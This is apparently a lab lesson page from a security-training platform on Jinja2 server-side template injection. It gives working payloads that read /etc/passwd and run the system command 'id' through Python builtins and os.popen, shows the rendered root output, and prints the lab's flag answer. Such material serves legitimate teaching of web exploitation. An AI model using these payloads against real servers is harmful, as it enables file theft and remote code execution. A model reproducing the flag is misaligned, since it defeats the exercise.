

We can use Python's built-in function `open` to include a local file. However, we cannot call the function directly; we need to call it from the `__builtins__` dictionary we dumped earlier. This results in the following payload to include the file `/etc/passwd`:

[? Go to Questions](#)

Server-Side Attacks - Skills Assessment

∞ / 1 spawns left

Code: `jinja2`

```
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
```

→ ↻ 🏠 http://<SERVER_IP>:<PORT>/ ⋮

 Simple Test Server

Hi root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534:/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin !

Your IP: 172.17.0.1

Current Time: 2024-05-03 07:09:33

Remote Code Execution (RCE)

To achieve remote code execution in Python, we can use functions provided by the `os` library, such as `system` or `popen`. However, if the web application has not already imported this library, we must first import it by calling the built-in function `import`. This results in the following SSTI payload:

Code: `jinja2`

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```


→ ↻ 🏠 http://<SERVER_IP>:<PORT>/ ⋮

 Simple Test Server

Hi uid=0(root) gid=0(root) groups=0(root) !

Your IP: 172.17.0.1

Current Time: 2024-05-03 07:19:43

 **Connect to Pwnbox**
Your own web-based Parrot Linux Instance to play our labs.

Pwnbox Location



UK 102ms

⏻ Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

☐ Enable step-by-step solutions for all questions  


Questions

Answer the question(s) below to complete this Section and earn cubes!



Cheat Sheet

Target(s): [Click here to spawn the target system!](#)

+1  Exploit the SSTI vulnerability to obtain RCE and read the flag.

HTB{Y0uV3GotSk1lls!}

 Submit

[← Previous](#)

[Next →](#)

 Mark Complete & Next

